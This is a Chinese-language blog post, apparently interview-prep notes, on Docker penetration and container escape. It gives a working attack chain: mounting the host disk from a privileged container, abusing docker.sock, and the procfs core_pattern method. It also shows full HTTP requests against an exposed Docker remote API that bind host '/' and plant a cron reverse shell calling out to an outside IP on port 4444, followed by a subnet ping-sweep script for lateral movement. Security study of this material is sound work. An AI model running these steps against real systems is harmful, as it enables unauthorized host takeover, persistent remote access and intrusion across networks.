浅谈Docker安全问题
Background
在面试的时候,经常会有面试官询问你容器逃逸,以及docker下的渗透技巧,因此总结记录写下本篇文章
Docker攻击模型
面试中经常会问这个问题,docker下有什么渗透经验,其实可以分为以上四种
1.业务(应用)到容器,就是漏洞打进来在容器里吗
2.拿下其中一个容器权限,从容器中横向渗透
3.容器估计宿主机,也就是逃逸
4.主机攻击容器,本机,其他主机
非官方镜像投毒问题
经常在排查的时候,发现很多镜像被投了各种挖矿木马,或者后门木马镜像 更像是供应链安全要关注的地方,但是在面试的时候还是要提及相关
容器Dos问题
如果没有正确限制容器可以使用的资源,cpu和带宽都会面临被Dos攻击的风险
权限问题
我们最常听到root身份运行容器是不安全的,但是非root用户有很多限制,所以 Linux capabilities 可以用来选择容器所需的用户权限
逃逸问题
docker面临的主要还是逃逸问题
判断是否docker容器
容器中存在 一个.dockerenv为空的文件
查看初始进程的cgroup来验证
容器本身漏洞&&内核洞
docker本身存在很多cve,比如cve-2019-5736 runc这种需要docker exec 和attach时才会触发,但实际上漏洞是比较鸡肋的,我就除了Portainer,没用过任何CVE
Portainer是一个可视化的容器镜像的图形管理工具,利用Portainer可以轻松构建,管理和维护Docker环境。 而且完全免费,基于容器化的安装方式,方便高效部署。
本身是没有默认账号密码的,需要登陆设置,在某些场景能拿到的情况下 我们可以在Portainer里面创建容器挂载宿主机目录,通过chroot切换Shell
因为网上有太多相关的文章了,这里就不赘述了
不仅如此也有很多类似Dirtycow DirtyPipe的,本身内核级别的漏洞,对docker的影响也是致命的,
云安全Wiki上具体列了很多可能造成的CVE
https://wiki.teamssix.com/CloudNative/Docker/docker-escape-vulnerability-summary.html
特权模式启动
如果容器 docker run --rm --privileged -it 使用--privileged形式启动,容器是可以访问宿主机的磁盘的,这样就可以挂载宿主机逃逸
判断方法很简单 fdisk -l 查看是否可以访问磁盘
cat /proc/self/status | grep CapEff 或者查看CapEff值判断是不是特权值 0000003fffffffff
可以通过以下命令简单的挂载逃逸
mkdir /tmp/1
fdisk -l
mount /dev/sda1 /tmp/1
cd /tmp/1
chroot ./ bash
在真实场景我们可以通过useradd添加用户
寻找docker.sock文件
这种情况下一般没有客户端
ls /var/run/ | grep -i docker.sock
查找然后可以进行docker -H的链接
出网情况下可以直接安全 不出网情况下,我们可以通过cdk模块发包
./cdk ucurl get /var/run/docker.sock http://127.0.0.1/info ""
Procfs目录挂载
procfs是一个伪文件系统,它动态反映着系统内进程及其他组件的状态
本身场景很少,一般很少会把procfs挂载到宿主机
一般检测是能否找到两个core_pattern文件
find / -name core_pattern
利用思路相对比较复杂
1.寻找容器在宿主机上的目录路径
2.在/tmp下反弹脚本
3./proc/sys/kernel/core_pattern 写入恶意文件
4.执行c代码,使进程崩溃
docker remote api
某些ctf平台就会使用这种方式来动态创建靶机,但如果remote api设置如下
ExecStart=/usr/bin/dockerd -H fd:// -H tcp://0.0.0.0:2375
开放在公网上就有被攻击的风险
有的时候也会发现是2376端口 区别是2375未加密 2376是加密
攻击手法 一般可以写密钥和定时任务,一般情况下考虑定时任务,密钥有失败的可能 如未开启之类的
利用/containers/create创建容器,把宿主机的”/”目录挂载到容器的”/mnt”目录下
POST /containers/create HTTP/1.1
Host: *:2375
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.119 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 130
{"HostName":"remoteCreate","User":"root","Image":"nginx/ntpd:4.2.6p5","HostConfig":{"Binds":["/:/mnt"],
"Privileged":true}}
//容器创建成功,并返回容器id
HTTP/1.1 201 Created
Api-Version: 1.38
Content-Type: application/json
Docker-Experimental: false
Ostype: linux
Server: Docker/18.06.1-ce (linux)
Date: Mon, 18 Apr 2022 09:00:07 GMT
Content-Length: 90
Connection: close
{"Id":"容器id","Warnings":null}
启动容器
POST /containers/容器id/start HTTP/1.1
Host: *:2375
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.119 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
HTTP/1.1 204 No Content
Api-Version: 1.38
Docker-Experimental: false
Ostype: linux
Server: Docker/18.06.1-ce (linux)
Date: Mon, 18 Apr 2022 09:04:19 GMT
Connection: close
启动 写shell到公钥
POST /containers/容器id/exec HTTP/1.1
Host: *:2375
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.119 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 556
{
"AttachStdin":true,
"AttachStdout":true,"AttachStderr":true,
"DetachKeys":"ctrl-p,ctrl-q",
"Tty":false,
"Cmd":["sh","-c","echo '03 11 * * * bash -i >& /dev/tcp/40.*.*.*/4444 0>&1' >> /mnt/var/spool/cron/root"]
}
HTTP/1.1 201 Created
Api-Version: 1.38
Content-Type: application/json
Docker-Experimental: false
Ostype: linux
Server: Docker/18.06.1-ce (linux)
Date: Mon, 18 Apr 2022 09:08:20 GMT
Content-Length: 74
Connection: close
{"Id":"实例id"}
启动就行
POST /exec/实例id/start HTTP/1.1
Host: *:2375
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.119 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 27
{"Detach":true,"Tty":false}
Capabilities
上文提到linux有各种安全机制
如果给了一些权限比如CAP_SYS_ADMIN
通过capsh --print 查看是否有。有的话能访问宿主机磁盘,其实跟上文操作一样了
Docker横向渗透
docker环境下一般可能缺各种环境,出网环境直接安装就行
而且因为容器的网卡k8s分配,在摸资产时候还需要探测172 10 192网段
Busybox因为一般是静态编译的,可以上传一个busybox上去,常用的命令基本就都有了
偷别的师傅的探测c段的脚本
#Bash,探测C段存活
mkdir -p /usr/tmp/
cat > ping.sh << EOF
#!/usr/bin/env bash
for ip in {1..254};do
./busybox ping -c1 -W1 10.244.0.\$ip|grep -q "ttl=" && echo "10.244.0.\$ip yes" >> /usr/tmp/.sys.log & >/dev/null 2>&1;
done
wait
EOF
#这样会把容器跑死,影响业务,要把wait去掉
cat > ping.sh << EOF
#!/usr/bin/env bash
for i in {1..254};do
for j in {1..254};do
./busybox ping -c1 -W1 10.\$i.\$j.1|grep -q "ttl=" && echo "10.\$i.\$j.0/24 yes" >> /usr/tmp/.sys.log & >/dev/null 2>&1;
done
done
wait
EOF
没有评论